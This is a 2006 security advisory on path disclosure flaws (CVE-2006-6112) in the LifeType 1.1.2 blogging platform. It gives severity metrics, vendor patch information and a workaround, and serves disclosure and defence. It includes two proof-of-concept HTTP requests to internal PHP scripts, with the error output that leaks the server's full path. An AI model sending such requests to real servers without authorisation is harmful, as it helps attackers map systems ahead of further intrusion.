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LifeType version 1.1.2 Multiple Path Disclosure Vulnerabilities



netVigilance Security Advisory #8

LifeType version 1.1.2 Multiple Path Disclosure Vulnerabilities 

Description:
LifeType is a Blogging platform built with PHP, designed with maximum 
customizability, speed and ease of use in mind. Due to program flaws it is 
possible for the remote attacker to disclose the true path of the server-side 
script.

External References: 
Mitre CVE: CVE-2006-6112 
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6112 
NVD NIST: CVE-2006-6112 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2006-6112 
OSVDB: 30685 30686

Summary: 
LifeType is a blogging platform built with PHP, designed with maximum 
customizability, speed and ease of use in mind. 
A security problem in the product allows attackers to gather the true path of 
the server-side script. 

Release Date:

Severity:
Risk: Low
 
CVSS Metrics
Access Vector: Remote
Access Complexity: Low
Authentication: not-required
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None
Impact Bias: Normal
CVSS Base Score: 2.3
 
Target Distribution on Internet: Low
 
Exploitability: Functional Exploit
Remediation Level: Officical Fix
Report Confidence: Confirmed
 
Vulnerability Impact: Attack
Host Impact: Path disclosure.

SecureScout Testcase ID:
TC 17938


Vulnerable Systems:
Lifetype version 1.1.2

Vulnerability Type:
Program flaw ? The bayesianfilter.class.php and bootstrap.php scripts has flaws 
which lead to a Warning or even Fatal Errors.

Vendor Status: 
The Vendor has been notified. LifeType has released an immediate patch, Soon to 
be released version 1.1.3 and above solves the problem. 
Also see vendors release here :
http://www.lifetype.net/blog.php/lifetype-development-journal/2006/11/30/full_path_disclosure_vulnerability_in_lifetype_1.0.x_and_1.1.x
 
To download latest version goto
 http://www.lifetype.net/blog.php/lifetype-development-journal/page/downloads 
Workaround:
Disable warning messages: modify in the php.ini file following line: 
display_errors = Off.
Or modify .htaccess file (this will work only for the apache servers). 
Example: 
HTTP REQUEST http://[TARGET]/[lifetype-directory]/class/bootstrap.php 
REPLY
...
<!--error--><br />
<b>Notice</b>:  Use of undefined constant PLOG_CLASS_PATH - assumed 
'PLOG_CLASS_PATH' in <b>[FULL PATH TO FILE]bootstrap.php</b> on line 
<b>24</b><br />
<br />
<b>Warning</b>:  main(PLOG_CLASS_PATHclass/object/exception.class.php): failed 
to open stream: No such file or directory in <b>[FULL PATH TO 
FILE]bootstrap.php</b> on line <b>24</b><br />
<!--error--><br />
<b>Warning</b>:  main(): Failed opening 
'PLOG_CLASS_PATHclass/object/exception.class.php' for inclusion 
(include_path='.;/usr/local/php/PEAR') in <b>[FULL PATH TO 
FILE]bootstrap.php</b> on line <b>24</b><br />
<br />
<b>Notice</b>:  Use of undefined constant PLOG_CLASS_PATH - assumed 
'PLOG_CLASS_PATH' in <b[FULL PATH TO FILE]bootstrap.php</b> on line 
<b>27</b><br />
<br />
<b>Warning</b>:  main(PLOG_CLASS_PATHclass/misc/info.class.php): failed to open 
stream: No such file or directory in <b>[FULL PATH TO FILE]bootstrap.php</b> on 
line <b>27</b><br />
<br />
<b>Warning</b>:  main(): Failed opening 
'PLOG_CLASS_PATHclass/misc/info.class.php' for inclusion 
(include_path='.;/usr/local/php/PEAR') in <b>[FULL PATH TO 
FILE]bootstrap.php</b> on line <b>27</b><br />
... 

OR

HTTP REQUEST 
http://[TARGET]/[lifetype-directory]/class/security/bayesianfilter.class.php 
REPLY
...
REPLY
<!--error--><br />
<b>Notice</b>:  Use of undefined constant PLOG_CLASS_PATH - assumed 
'PLOG_CLASS_PATH' in <b>[FULL PATH TO FILE]bayesianfilter.class.php</b> on line 
<b>3</b><br />
<br />
<b>Warning</b>:  main(PLOG_CLASS_PATHclass/security/pipelinefilter.class.php): 
failed to open stream: No such file or directory in <b>[FULL PATH TO 
FILE]bayesianfilter.class.php</b> on line <b>3</b><br />
<br />
<b>Warning</b>:  main(): Failed opening 
'PLOG_CLASS_PATHclass/security/pipelinefilter.class.php' for inclusion 
(include_path='.;/usr/local/php/PEAR') in <b>[FULL PATH TO 
FILE]bayesianfilter.class.php</b> on line <b>3</b><br />
<br />
<b>Notice</b>:  Use of undefined constant PLOG_CLASS_PATH - assumed 
'PLOG_CLASS_PATH' in <b>[FULL PATH TO FILE]bayesianfilter.class.php</b> on line 
<b>4</b><br />
<br />
<b>Warning</b>:  main(PLOG_CLASS_PATHclass/net/client.class.php): failed to 
open stream: No such file or directory in <b>[FULL PATH TO 
FILE]bayesianfilter.class.php</b> on line <b>4</b><br />
<br />
<b>Warning</b>:  main(): Failed opening 
'PLOG_CLASS_PATHclass/net/client.class.php' for inclusion 
(include_path='.;/usr/local/php/PEAR') in <b>[FULL PATH TO 
FILE]bayesianfilter.class.php</b> on line <b>4</b><br />
<br />
<b>Fatal error</b>:  Class bayesianfilter:  Cannot inherit from undefined class 
pipelinefilter in <b>[FULL PATH TO FILE]bayesianfilter.class.php</b> on line 
<b>29</b><br />
...

URL of Original Advisory: http://www.netvigilance.com/advisory0008  

Credits: 
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com